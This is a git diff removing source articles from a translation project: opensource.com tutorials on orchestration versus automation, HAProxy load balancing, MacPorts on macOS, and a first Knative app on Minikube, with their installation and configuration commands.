the computer to decide what to do. - -Consider Ansible and Bash. Bash is a popular shell and scripting language used by sysadmins to accomplish practically everything they do during a given workday. Automating with Bash is straightforward: Instead of typing commands into an interactive session, you type them into a text document and save the file as a shell script. Bash runs the shell script, executing each command in succession. There's room for some conditional decisionmaking, but usually, it's no more complex than simple if-then statements, each of which must be coded into the script. - -Ansible, on the other hand, uses playbooks in which a sysadmin describes the desired state of the computer. It lists requirements that must be met before Ansible can consider the job done. When Ansible runs, it takes action based on the current state of the computer compared to the desired state, based on the computer's operating system, and so on. A playbook doesn't contain specific commands, instead leaving those decisions up to Ansible itself. - -Of course, it's particularly revealing that Ansible is referred to as an automation—not an orchestration—tool. The difference can be subtle, and the terms definitely overlap. - -### Orchestration and the cloud - -Say you need to convert a file type that's regularly uploaded to your server by your users. - -The manual solution would be to check a directory for uploaded content every morning, open the file, and then save it in a different format. This solution is slow, inefficient, and probably could happen only once every 24 hours because you're a busy person. - -**[Read next: [How to explain orchestration][2]]** - -You could automate the task. Were you to do that, you might write a PHP or a Node.js script to detect when a file has been uploaded. The script would perform the conversion and send an alert or make a log entry to confirm the conversion was successful. You could improve the script over time to allow users to interact with the upload and conversion process. - -Were you to orchestrate the process, you might instead start with an application. Your custom app would be designed to accept and convert files. You might run the application in a container on your cloud, and using OpenShift, you could launch additional instances of your app when the traffic or workload increases beyond a certain threshold. - -### Learning automation and orchestration - -There isn't just one discipline for automation or orchestration. These are broad practices that are applied to many different tasks across many different industries. The first step to learning, though, is to become proficient with the technology you're meant to orchestrate and automate. It's difficult to orchestrate (safely) the scaling a series of web servers if you don't understand how a web server works, or what ports need to be open or closed, or what a port is. In practice, you may not be the person opening ports or configuring the server; you could be tasked with administrating OpenShift without really knowing or caring what's inside a container. But basic concepts are important because they broadly apply to usability, troubleshooting, and security. - -You also need to get familiar with the most common tools of the orchestration and automation world. Learn some [Bash][3], start using [Git][4] and design some [Git hooks][5], learn some Python, get comfortable with [YAML][6] and [Ansible][7], and try out Minikube, [OKD][8], and [OpenShift][9]. - -Orchestration and automation are important skills, both to make your work more efficient and as something to bring to your team. Invest in it today, and get twice as much done tomorrow. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/orchestration-vs-automation - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/arrows_operation_direction_system_orchestrate.jpg?itok=NUgoZYY1 (doodles of arrows moving in different directions) -[2]: https://enterprisersproject.com/article/2020/8/orchestration-explained-plain-english -[3]: https://www.redhat.com/sysadmin/using-bash-automation -[4]: https://opensource.com/life/16/7/stumbling-git -[5]: https://opensource.com/life/16/8/how-construct-your-own-git-server-part-6 -[6]: https://www.redhat.com/sysadmin/understanding-yaml-ansible -[7]: https://opensource.com/downloads/ansible-k8s-cheat-sheet -[8]: https://www.redhat.com/sysadmin/learn-openshift-minishift -[9]: http://openshift.io diff --git a/sources/tech/20201110 Load balance network traffic with HAProxy.md b/sources/tech/20201110 Load balance network traffic with HAProxy.md deleted file mode 100644 index cafe4f457c..0000000000 --- a/sources/tech/20201110 Load balance network traffic with HAProxy.md +++ /dev/null @@ -1,249 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Load balance network traffic with HAProxy) -[#]: via: (https://opensource.com/article/20/11/load-balancing-haproxy) -[#]: author: (Jim O'Connell https://opensource.com/users/jimoconnell) - -Load balance network traffic with HAProxy -====== -Install, configure, and run HAProxy to distribute network traffic across -several web or application servers. -![eight stones balancing][1] - -You don't have to work at a huge company to justify using a load balancer. You might be a hobbyist, self-hosting a website from a couple of Raspberry Pi computers. Perhaps you're the server administrator for a small business; maybe you _do_ work for a huge company. Whatever your situation, you can benefit from using the [HAProxy][2] load balancer to manage your traffic. - -HAProxy is known as "the world's fastest and most widely used software load balancer." It packs in many features that can make your applications more secure and reliable, including built-in rate limiting, anomaly detection, connection queuing, health checks, and detailed logs and metrics. Learning the basic skills and concepts covered in this tutorial will help you use HAProxy to build a more robust, far more powerful infrastructure. - -### Why would you need a load balancer? - -A load balancer is a way to easily distribute connections across several web or application servers. In fact, HAProxy can balance any type of Transmission Control Protocol ([TCP][3]) traffic, including RDP, FTP, WebSockets, or database connections. The ability to distribute load means you don't need to purchase a massive web server with zillions of gigs of RAM just because your website gets more traffic than Google. - -A load balancer also gives you flexibility. Perhaps your existing web server isn't robust enough to meet peak demand during busy times of the year and you'd like to add another, but only temporarily. Maybe you want to add some redundancy in case one server fails. With HAProxy, you can add more servers to the backend pool when you need them and remove them when you don't. - -You can also route requests to different servers depending on the context. For example, you might want to handle your static content with a couple of cache servers, such as [Varnish][4], but route anything that requires dynamic content, such as an API endpoint, to a more powerful machine. - -In this article, I will walk through setting up a very basic HAProxy installation to use HTTPS to listen on secure port 443 and utilize a couple of backend web servers. It will even send all traffic that comes to a predefined URL (like `/api/`) to a different server or pool of servers. - -### Install HAProxy - -To get started, spin up a new CentOS 8 server or instance and bring the system up to date: - - -``` -`sudo yum update -y` -``` - -This typically runs for a while. Grab yourself a coffee while you wait. - -This installation has two parts: the first part installs the yum version of HAProxy, and the second part compiles and installs your binary from source to overwrite the previous HAProxy with the latest version. Installing with yum does a lot of the heavy lifting as far as generating systemd startup scripts, etc., so run the `yum install` and then overwrite the HAProxy binary with the latest version by compiling it from its source code: - - -``` -`sudo yum install -y haproxy` -``` - -Enable the HAProxy service: - - -``` -`sudo systemctl enable haproxy` -``` - -To upgrade to the latest version ([version 2.2][5], as of this writing), compile the source code. Many people assume that compiling and installing a program from its source code requires a high degree of technical ability, but it's a pretty straightforward process. Start by using `yum` to install a few packages that provide the tools for compiling code: - - -``` -sudo yum install dnf-plugins-core -sudo yum config-manager --set-enabled PowerTools -# (Multiline command next 3 lines. Copy and paste together:)  - -sudo yum install -y git ca-certificates gcc glibc-devel \ -  lua-devel pcre-devel openssl-devel systemd-devel \ -  make curl zlib-devel  -``` - -Use `git` to get the latest source code and change to the `haproxy` directory: - - -``` -git clone -cd haproxy -``` - -Run the following three commands to build and install HAProxy with integrated Prometheus support: - - -``` -# Multiline command next 3 lines copy and paste together:  -make TARGET=linux-glibc USE_LUA=1 USE_OPENSSL=1 USE_PCRE=1 \ -PCREDIR= USE_ZLIB=1 USE_SYSTEMD=1 \ EXTRA_OBJS="contrib/ - -sudo make PREFIX=/usr install # Install to /usr/sbin/haproxy -``` - -Test it by querying the version: - - -``` -`haproxy -v` -``` - -You should get the following output: - - -``` -`HA-Proxy version 2.2.4-b16390-23 2020/10/09 - https://haproxy.org/` -``` - -### Create the backend server - -HAProxy doesn't serve any traffic directly—this is the job of backend servers, which are typically web or application servers. For this exercise, I'm using a tool called [Ncat][6], the "Swiss Army knife" of networking, to create some exceedingly simple servers. Install it: - - -``` -`sudo yum install nc -y` -``` - -If your system has [SELinux][7] enabled, you'll need to enable port 8404, the port used for accessing the HAProxy Stats page (explained below), and the ports for your backend servers: - - -``` -sudo dnf install policycoreutils-python-utils -sudo semanage port -a -t http_port_t  -p tcp 8404 -sudo semanage port -a -t http_port_t  -p tcp 10080; -sudo semanage port -a -t http_port_t  -p tcp 10081; -sudo semanage port -a -t http_port_t  -p tcp 10082; -``` - -Create two Ncat web servers and an API server: - - -``` -while true ; -do -nc -l -p 10080 -c 'echo -e "HTTP/1.1 200 OK\n\n This is Server ONE"' ; -done & - -while true ; -do -nc -l -p 10081 -c 'echo -e "HTTP/1.1 200 OK\n\n This is Server TWO"' ; -done & - -while true ; -do -nc -l -p 10082 -c 'echo -e "HTTP/1.1 200 OK\nContent-Type: application/json\n\n { \"Message\" :\"Hello, World!\" }"' ; -done & -``` - -These simple servers print out a message (such as "This is Server ONE") and run until the server is stopped. In a real-world setup, you would use actual web and app servers. - -### Modify the HAProxy config file - -HAProxy's configuration file is `/etc/haproxy/haproxy.cfg`. This is where you make the changes to define your load balancer. This [basic configuration][8] will get you started with a working server: - - -``` -global -    log         127.0.0.1 local2 -    user        haproxy -    group       haproxy - -defaults  -    mode                    http -    log                     global -    option                  httplog - -frontend main -    bind *:80 -         -    default_backend web -    use_backend api if { path_beg -i /api/ } -     -    #------------------------- -    # SSL termination - HAProxy handles the encryption. -    #    To use it, put your PEM file in /etc/haproxy/certs   -    #    then edit and uncomment the bind line (75) -    #------------------------- -    # bind *:443 ssl crt /etc/haproxy/certs/haproxy.pem ssl-min-ver TLSv1.2 -    # redirect scheme https if !{ ssl_fc } - -#----------------------------- -# Enable stats at -#----------------------------- - -frontend stats -    bind *:8404 -    stats enable -    stats uri /stats -#----------------------------- -# round robin balancing between the various backends -#----------------------------- - -backend web -    server web1 127.0.0.1:10080 check -    server web2 127.0.0.1:10081 check - -#----------------------------- - -# API backend for serving up API content -#----------------------------- -backend api -    server api1 127.0.0.1:10082 check -``` - -### Restart and reload HAProxy - -HAProxy is probably not running yet, so issue the command `sudo systemctl restart haproxy` to start (or restart) it. The `restart` method is fine for non-production situations, but once you are up and running, you'll want to get in the habit of using `sudo systemctl reload haproxy` to avoid service interruptions, even if you have an error in your config. - -For example, after you make changes to `/etc/haproxy/haproxy.cfg`, you need to reload the daemon with `sudo systemctl reload haproxy` to effect the changes. If there is an error, it will let you know but continue running with the previous configuration. Check your HAProxy status with `sudo systemctl status haproxy`. - -If it doesn't report any errors, you have a running server. Test it with curl on the server, by typing `curl http://localhost/` on the command line. If you see "_This is Server ONE_," then it all worked! Run `curl` a few times and watch it cycle through your backend pool, then see what happens when you type `curl http://localhost/api/`. Adding `/api/` to the end of the URL will send all of that traffic to the third server in your pool. At this point, you should have a functioning load balancer! - -### Check your stats - -You may have noted that the configuration defined a frontend called `stats` that is listening on port 8404: - - -``` -frontend stats -    bind *:8404 -    stats uri /stats -    stats enable -``` - -In your browser, load up `http://localhost:8404/stats`. Read HAProxy's blog "[Exploring the HAProxy Stats page][9]" to find out what you can do here. - -### A powerful load balancer - -Although I covered just a few of HAProxy's features, you now have a server that listens on ports 80 and 443, redirecting HTTP traffic to HTTPS, balancing traffic between several backend servers, and even sending traffic matching a specific URL pattern to a different backend server. You also unlocked the very powerful HAProxy Stats page that gives you a great overview of your systems. - -This exercise might seem simple, make no mistake about it—you have just built and configured a very powerful load balancer capable of handling a significant amount of traffic. - -For your convenience, I put all the commands in this article in a [GitHub Gist][10]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/load-balancing-haproxy - -作者:[Jim O'Connell][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jimoconnell -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/water-stone-balance-eight-8.png?itok=1aht_V5V (eight stones balancing) -[2]: https://www.haproxy.org/ -[3]: https://en.wikipedia.org/wiki/Transmission_Control_Protocol -[4]: https://varnish-cache.org/ -[5]: https://www.haproxy.com/blog/announcing-haproxy-2-2/ -[6]: https://nmap.org/ncat -[7]: https://www.redhat.com/en/topics/linux/what-is-selinux -[8]: https://gist.github.com/haproxytechblog/38ef4b7d42f16cfe5c30f28ee3304dce -[9]: https://www.haproxy.com/blog/exploring-the-haproxy-stats-page/ -[10]: https://gist.github.com/haproxytechblog/d656422754f1b5eb1f7bbeb1452d261e diff --git a/sources/tech/20201110 Use your favorite open source apps on your Mac with MacPorts.md b/sources/tech/20201110 Use your favorite open source apps on your Mac with MacPorts.md deleted file mode 100644 index 4ba1adebbd..0000000000 --- a/sources/tech/20201110 Use your favorite open source apps on your Mac with MacPorts.md +++ /dev/null @@ -1,225 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Use your favorite open source apps on your Mac with MacPorts) -[#]: via: (https://opensource.com/article/20/11/macports) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Use your favorite open source apps on your Mac with MacPorts -====== -MacPorts is an easy way to get open source applications and keep them -updated on macOS. -![Coffee and laptop][1] - -"Package manager" is a generic name for software to install, upgrade, and uninstall applications. Commands like `dnf` or `apt` on Linux, or `pkg_add` on BSD, or even `pip` on Python and `luarocks` on Lua, make it trivial for users to add new applications to their system. Once you've tried it, you're likely to find it hard to live without, and it's a convenience every operating system ought to include. Not all do, but the open source community tends to ensure the best ideas in computing are propagated across all platforms. - -There are several package managers designed just for macOS, and one of the oldest is the [MacPorts][2] project. - -### Darwin and MacPorts - -When Apple shifted to Unix at the turn of the century, it essentially built a Unix operating system called [Darwin][3]. Shortly thereafter, a group of resourceful hackers promptly began work on a project called OpenDarwin, with the intent of creating an independent branch of Darwin. They hoped that OpenDarwin and Apple developers could work on related codebases, borrowing from each other whenever it was useful. Unfortunately, OpenDarwin didn't gain traction within Apple and it eventually [came to an end][4]. However, the OpenDarwin package manager project, MacPorts, is alive and well and continues to provide great open source software for macOS. - -MacOS already comes with a healthy set of default terminal commands, some borrowed from GNU, others from BSD, and still others written especially for Darwin. You can use MacPorts to add new commands and even graphical applications. - -### Install MacPorts - -Your macOS version dictates which MacPorts installer package you need. So first, get the version of macOS you're currently running: - - -``` -$ sw_vers -productVersion -10.xx.y -``` - -MacPorts releases for recent macOS versions are available on [macports.org/install.php][5]. You can download an installer from the website, or just copy the link and download using the [curl][6] command: - - -``` -$ curl \ -\--output MacPorts-2.6.3-10.14-Mojave.pkg -``` - -Once you download the installer, you can double-click to install it or install it using a terminal: - - -``` -$ sudo installer -verbose \ --pkg MacPorts*.pkg --tgt / -``` - -### Configure MacPorts - -Once the package is installed, you must add the relevant paths to your system so that your terminal knows where to find your new MacPorts commands. Add the path to MacPorts, and add its manual pages to your `PATH` environment variable by adding this to `~/.bashrc`: - - -``` -export PATH=/opt/local/bin:/opt/local/sbin:$PATH -export MANPATH=/opt/local/share/man:$MANPATH -``` - -Load your new environment: - - -``` -`$ source ~/.bashrc` -``` - -Run an update so your MacPorts installation has access to the latest versions of software: - - -``` -`$ sudo port -v selfupdate` -``` - -### Use MacPorts - -Some package managers install pre-built software from a server onto your local system. This is called _binary installation_ because it installs code that's been compiled into an executable binary file. Other package managers, MacPorts among them, pull source code from a server, compile it into a binary executable on your computer, and install it into the correct directories. The end result is the same: you have the software you want. - -The way they get there is different. - -There are advantages to both methods. A binary install is quicker because the only transaction required is copying files from a server onto your computer. This is something [Homebrew][7] does with its "bottles," but there are sometimes issues with [non-relocatable][8] builds. Installing from source code means it's easy for you to modify how software is built and where it gets installed. - -MacPorts provides the **port** command, and calls it packages **ports** (inherited terminology from projects like NetBSD's [Pkgsrc][9] and FreeBSD's port system.) The typical MacPorts workflow is to search for an application and then install it. - -#### Search for an application - -If you know the specific command or application you need to install, search for it to ensure it's in the MacPorts tree: - - -``` -`$ sudo port search parallel` -``` - -By default, `port` searches both the names and descriptions of packages. You can search on just the name field by adding the `--name` option: - - -``` -`$ sudo port search --name parallel` -``` - -You can make your searches "fuzzy" with common shell wildcards. For instance, to search for `parallel` only at the start of a name field: - - -``` -`$ sudo port search --name --glob "parallel*"` -``` - -List all ports - -If you don't know what you're searching for and you want to see all the packages (or "ports" in MacPorts and BSD terminology) available, use the `list` subcommand: - - -``` -`$ sudo port list` -``` - -The list is long but complete. You can, of course, redirect the output into a text for reference or pipe it to `more` or `less` for closer examination: - - -``` -$ sudo port list > all-ports.txt -$ sudo port list | less -``` - -#### Get information about a package - -You can get all the important details about a package with the `info` subcommand: - - -``` -$ sudo port info parallel -parallel @20200922 (sysutils) - -Description:          Build and execute shell command lines from standard input in parallel -Homepage:             - -Library Dependencies: perl5 -Platforms:            darwin -License:              GPL-3+ -Maintainers:          Email: [example@example.com][10] -``` - -This displays important metadata about each application, including a brief description of what it is and the project homepage, in case you need more information. It also lists dependencies, which are _other_ ports that must be on your system for a package to run correctly. Dependencies are resolved automatically by MacPorts, meaning that if you install, for example, the `parallel` package, MacPorts also installs `perl5` if it's not already on your system. Finally, it provides the license and port maintainer. - -#### Install a package - -When you're ready to install a package, use the `install` subcommand: - - -``` -`$ sudo port install parallel` -``` - -It can take some time to compile the code depending on your CPU, the size of the code base, and the number of packages being installed, so be patient. It'll be worth it. - -Once the installation is done, the new application is available immediately: - - -``` -$ parallel echo ::: "hello" "world" -hello -world -``` - -Applications installed by MacPorts are placed into `/opt/local`. - -#### View what is installed - -Once a package has been installed on your system, you can see exactly what it placed on your drive using the `contents` subcommand: - - -``` -$ sudo port contents parallel -/opt/local/bin/parallel -[...] -``` - -#### Clean up - -Installing a package with MacPorts often leaves build files in your ports tree. These files are useful for debugging a failed install, but normally you don't need to keep them lying around. Purge these files from your system with the `port clean` command: - - -``` -`$ port clean parallel` -``` - -#### Uninstall packages - -Uninstall a package with the `port uninstall` command: - - -``` -`$ port uninstall parallel` -``` - -### Open source package management - -The MacPorts project is a remnant of an early movement to build upon the open source work that served as macOS's foundation. While that effort failed, there have been efforts to revive it as a project called [PureDarwin][11]. The push to open more of Apple's code is important work, and the byproducts of this effort are beneficial to everyone running macOS. If you're looking for an easy way to get open source applications on your Mac and a reliable way to keep them up to date, install and use MacPorts. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/macports - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coffee_cafe_brew_laptop_desktop.jpg?itok=G-n1o1-o (Coffee and laptop) -[2]: http://macports.org -[3]: https://en.wikipedia.org/wiki/Darwin_%28operating_system%29 -[4]: https://web.archive.org/web/20070111155348/opendarwin.org/en/news/shutdown.html -[5]: https://www.macports.org/install.php -[6]: https://opensource.com/article/20/5/curl-cheat-sheet -[7]: https://opensource.com/article/20/6/homebrew-linux -[8]: https://discourse.brew.sh/t/why-do-bottles-need-to-be-in-home-linuxbrew-linuxbrew/4346/3 -[9]: https://opensource.com/article/19/11/pkgsrc-netbsd-linux -[10]: mailto:example@example.com -[11]: http://www.puredarwin.org/ diff --git a/sources/tech/20201111 Create your first Knative app.md b/sources/tech/20201111 Create your first Knative app.md deleted file mode 100644 index 6213ddd329..0000000000 --- a/sources/tech/20201111 Create your first Knative app.md +++ /dev/null @@ -1,469 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Create your first Knative app) -[#]: via: (https://opensource.com/article/20/11/knative) -[#]: author: (Jessica Cherry https://opensource.com/users/cherrybomb) - -Create your first Knative app -====== -Knative is a great way to get started quickly on serverless development -with Kubernetes. -![Working from home at a laptop][1] - -[Knative][2] is an open source community project that adds components to [Kubernetes][3] for deploying, running, and managing [serverless, cloud-native][4] applications. It enables more productive development with less interaction with Kubernetes' infrastructure. - -There is a large amount of information out there about Knative, networking, and serverless deployments, and this introductory tutorial covers just a bite-size amount of it. In this walkthrough, I'll use Knative with [Minikube][5] to create a Knative app—a simple container that prints messages in response to a `curl` command or in a web browser at a link provided by the deployment. - -### First, some background - -Knative uses custom resource definitions (CRDs), a network layer, and a service core. For this walkthrough, I used Ubuntu 18.04, Kubernetes 1.19.0, Knative 0.17.2, and [Kourier][6] 0.17.0 as the Knative networking layer, as well as the Knative command-line interface (CLI). - -A CRD is a custom resource definition within Kubernetes. A resource is an endpoint in the Kubernetes API that stores a collection of API objects of a certain kind; for example, the built-in pod's resource contains a collection of pod objects. This allows an expansion of the Kubernetes API with new definitions. One example is the Knative serving core, which is defined to have internal autoscaling and rapid deployment of pods with the correct roles and access predefined. - -Kourier is an [Ingress][7] (a service to let in external network traffic) for Knative serving and a lightweight alternative for the [Istio][8] ingress. Its deployment consists only of an [Envoy proxy][9] and a control plane for it. - -To understand the concepts in this tutorial, I recommend you are somewhat familiar with: - - * Serverless, cloud-native applications - * Ingress with Envoy proxies, i.e., Istio - * DNS in Kubernetes - * Kubernetes patching configurations - * Custom resource definitions in Kubernetes - * Configuring YAML files for Kubernetes - - - -### Set up and installation - -There are some prerequisites you must do before you can use Knative. - -#### Configure Minikube - -Before doing anything else, you must configure Minikube to run Knative locally in your homelab. Below are the configurations I suggest and the commands to set them: - - -``` -$ minikube config set kubernetes-version v1.19.0 -$ minikube config set memory 4000 -$ minikube config set cpus 4 -``` - -To make sure those configurations are set up correctly in your environment, run the Minikube commands to delete and start your cluster: - - -``` -$ minikube delete -$ minikube start -``` - -#### Install the Knative CLI - -You need the Knative CLI to make a deployment, and you need [Go v1.14][10] or later to work with the CLI. I created a separate directory to make it easier to find and install these tools. Use the following commands to set up the command line: - - -``` -$ mkdir knative -$ cd knative/ -$ git clone -$ cd client/ -$ hack/build.sh -f -$ sudo cp kn /usr/local/bin -$ kn version -Version:        v20201018-local-40a84036 -Build Date:   2020-10-18 20:00:37 -Git Revision: 40a84036 -Supported APIs: -* Serving -  - serving.knative.dev/v1 (knative-serving v0.18.0) -* Eventing -  - sources.knative.dev/v1alpha2 (knative-eventing v0.18.0) -  - eventing.knative.dev/v1beta1 (knative-eventing v0.18.0) -``` - -Once the CLI is installed, you can configure Knative in the Minikube cluster. - -#### Install Knative - -Since Knative is composed of CRDs, much of its installation uses YAML files with `kubectl` commands. To make this easier, set up some environment variables in the terminal so that you can get the needed YAML files a little faster and in the same version: - - -``` -`$ export KNATIVE="0.17.2"` -``` - -First, apply the service resource definitions: - - -``` -`$ kubectl apply -f https://github.com/knative/serving/releases/download/v$KNATIVE/serving-crds.yaml` -``` - -Then apply the core components to Knative: - - -``` -`$ kubectl apply -f https://github.com/knative/serving/releases/download/v$KNATIVE/serving-core.yaml` -``` - -This deploys the services and deployments to the namespace `knative-serving`. You may have to wait a couple of moments for the deployment to finish. - -To confirm the deployment finished, run the `kubectl` command to get the deployments from the namespace: - - -``` -$ kubectl get deployments -n knative-serving -NAME                    READY   UP-TO-DATE   AVAILABLE   AGE -3scale-kourier-control   1/1    1               1               107m -activator               1/1     1               1               108m -autoscaler              1/1     1               1               108m -controller              1/1     1               1               108m -webhook                 1/1     1               1               108m -``` - -#### Install Kourier - -Because you want to use a specific version and collect the correct YAML file, use another environment variable: - - -``` -`$ export KOURIER="0.17.0"` -``` - -Then apply your networking layer YAML file: - - -``` -`$ kubectl apply -f https://github.com/knative/net-kourier/releases/download/v$KOURIER/kourier.yaml` -``` - -You will find the deployment in the `kourier-system` namespace. To confirm the deployment is correctly up and functioning, use the `kubectl` command to get the deployments: - - -``` -$ kubectl get deployments -n kourier-system -NAME                    READY   UP-TO-DATE   AVAILABLE   AGE -3scale-kourier-gateway   1/1    1               1               110m -``` - -Next, configure the Knative serving to use Kourier as default. If you don't set this, the external networking traffic will not function. Set it with this `kubectl patch` command: - - -``` -$ kubectl patch configmap/config-network \ -  --namespace knative-serving \ -  --type merge \ -  --patch '{"data":{"ingress.class":"kourier.ingress.networking.knative.dev"}}' -``` - -#### Configure the DNS - -Before you can access the load balancer, you need to run the `minikube tunnel` command in a separate terminal window. This command creates a route to services deployed with type `LoadBalancer` and sets their Ingress to their `ClusterIP`. Without this command, you will never get an `External-IP` from the load balancer. Your output will look like this: - - -``` -Status:     -    machine: minikube -    pid: 57123 -    route: 10.96.0.0/12 -> 192.168.39.67 -    minikube: Running -    services: [kourier] -        errors: -         minikube: no errors -         router: no errors -         loadbalancer emulator: no errors -Status:     -    machine: minikube -    pid: 57123 -    route: 10.96.0.0/12 -> 192.168.39.67 -    minikube: Running -    services: [kourier] -        errors: -         minikube: no errors -         router: no errors -         loadbalancer emulator: no errors -``` - -Now that the services and deployments are complete, configure the DNS for the cluster. This enables your future deployable application to support DNS web addresses. To configure this, you need to get some information from your Kourier service by using the `kubectl get` command: - - -``` -$ kubectl get service kourier -n kourier-system -NAME    TYPE            CLUSTER-IP      EXTERNAL-IP     PORT(S)                         -kourier   LoadBalancer   10.103.12.15   10.103.12.15   80:32676/TCP,443:30558/TCP -``` - -Get the `CLUSTER-IP` address and save it for the next step. Next, configure the domain to determine your internal website on local DNS. (I ended mine in `nip.io`, and you can also use `xip.io`.) This requires another `kubectl patch` command: - - -``` -`$ kubectl patch configmap -n knative-serving config-domain -p "{\"data\": {\"10.103.12.15.nip.io\": \"\"}}"` -``` - -Once it's patched, you will see this output: - - -``` -`configmap/config-domain patched` -``` - -### Use the Knative CLI - -Now that your configurations are done, you can create an example application to see what happens. - -#### Deploy a service - -Earlier in this walkthrough, you installed the Knative CLI, which is used for Serving and Eventing resources in a Kubernetes cluster. This means you can deploy a sample application and manage services and routes. To bring up the command-line menu, type `kn`. Here is a snippet of the output: - - -``` -$ kn -kn is the command line interface for managing Knative Serving and Eventing resources - - Find more information about Knative at: - -Serving Commands: -  service       Manage Knative services -  revision      Manage service revisions -  route         List and describe service routes -``` - -Next, use the Knative CLI to deploy a basic "hello world" application with a web frontend. Knative provides some examples you can use; this one does a basic deployment: - - -``` -`kn service create hello --image gcr.io/knative-samples/helloworld-go` -``` - -Your output should look something like this: - - -``` -$ kn service create hello --image gcr.io/knative-samples/helloworld-go -Creating service 'hello' in namespace 'default': - -  0.032s The Configuration is still working to reflect the latest desired specification. -  0.071s The Route is still working to reflect the latest desired specification. -  0.116s Configuration "hello" is waiting for a Revision to become ready. - 34.908s ... - 34.961s Ingress has not yet been reconciled. - 35.020s unsuccessfully observed a new generation - 35.208s Ready to serve. - -Service 'hello' created to latest revision 'hello-dydlw-1' is available at URL: - -``` - -This shows that the service was deployed with a URL into the namespace default. You can deploy to another namespace by running something like the following, then look at the output: - - -``` -$ kn service create hello --image gcr.io/knative-samples/helloworld-go --namespace hello -Creating service 'hello' in namespace 'hello': - -  0.015s The Configuration is still working to reflect the latest desired specification. -  0.041s The Route is still working to reflect the latest desired specification. -  0.070s Configuration "hello" is waiting for a Revision to become ready. -  5.911s ... -  5.958s Ingress has not yet been reconciled. -  6.043s unsuccessfully observed a new generation -  6.213s Ready to serve. - -Service 'hello' created to latest revision 'hello-wpbwj-1' is available at URL: - -``` - -#### Test your new deployment - -Check to see if the new service you deployed is up and running. There are two ways to check: - - 1. Check your web address in a browser - 2. Run a `curl` command to see what returns - - - -If you check the address in a web browser, you should see something like this: - -![Checking Knative deployment][11] - -(Jess Cherry, [CC BY-SA 4.0][12]) - -Good! It looks like your application's frontend is up! - -Next, test the `curl` command to confirm everything works from the command line. Here is an example of a `curl` to my application and the output: - - -``` -$ curl -Hello World! -``` - -#### Interact with the Knative app - -From here, you can use the Knative CLI to make some basic changes and test the functionality. Describe the service and check the output: - - -``` -$ kn service describe hello -Name:           hello -Namespace:  default -Age:            12h -URL:            - -Revisions:   -  100%  @latest (hello-dydlw-1) [1] (12h) -        Image:  gcr.io/knative-samples/helloworld-go (pinned to 5ea96b) - -Conditions:   -  OK TYPE                       AGE REASON -  ++ Ready                      12h -  ++ ConfigurationsReady        12h -  ++ RoutesReady                12h -``` - -It looks like everything is up and ready as you configured it. Some other things you can do with the Knative CLI (which won't show up now due to the minimal configuration in this example) are to describe and list the routes with the app: - - -``` -$ kn route describe hello -Name:           hello -Namespace:  default -Age:            12h -URL:            -Service:        hello - -Traffic Targets:   -  100%  @latest (hello-dydlw-1) - -Conditions:   -  OK TYPE                       AGE REASON -  ++ Ready                      12h -  ++ AllTrafficAssigned         12h -  ++ CertificateProvisioned     12h TLSNotEnabled -  ++ IngressReady               12h -jess@Athena:~/knative/client$ kn route list hello -NAME    URL                                     READY -hello     True -``` - -This can come in handy later when you need to troubleshoot issues with your deployments. - -#### Clean up - -Just as easily as you deployed your application, you can clean it up: - - -``` -$ kn service delete hello -Service 'hello' successfully deleted in namespace 'default'. - -jess@Athena:~/knative/client$ kn service delete hello --namespace hello -Service 'hello' successfully deleted in namespace 'hello'. -``` - -### Make your own app - -This walkthrough used an existing Knative example, but you are probably wondering about making something that _you_ want. You are right, so I'll provide this example YAML then explain how you can apply it with kubectl and manage it with the Knative CLI. - -**Example YAML** - - -``` -apiVersion: serving.knative.dev/v1 -kind: Service -metadata: -  name: helloworld -  namespace: default -spec: - template: -  spec: -   containers: -     - image: gcr.io/knative-samples/helloworld-go -       ports: -             - containerPort: 8080 -       env: -        - name: TARGET -          value: "This is my app" -``` - -Save this to `apps.yaml`, and then you can make changes to some things. For example, you can change your `metadata`, `name`, and `namespace`. You can also change the value of the target (which I set to `This is my app`) so that, rather than `Hello World`, you'll see a new message that says `Hello ${TARGET} !` when you deploy the file. - -To deploy a file like this, you will have to use `kubectl apply -f apps.yaml`. - -First, deploy your new service using the `apply` command: - - -``` -$ kubectl apply -f apps.yaml -service.serving.knative.dev/helloworld created -``` - -Next, you can describe your new deployment, which is the name provided in the YAML file: - - -``` -$ kn service describe helloworld -Name:           helloworld -Namespace:  default -Age:            50s -URL:            - -Revisions:   -  100%  @latest (helloworld-qfr9s) [1] (50s) -        Image:  gcr.io/knative-samples/helloworld-go (at 5ea96b) - -Conditions:   -  OK TYPE                       AGE REASON -  ++ Ready                      43s -  ++ ConfigurationsReady        43s -  ++ RoutesReady                43s -``` - -Run a `curl` command to confirm it produces the new output you defined in your YAML file: - - 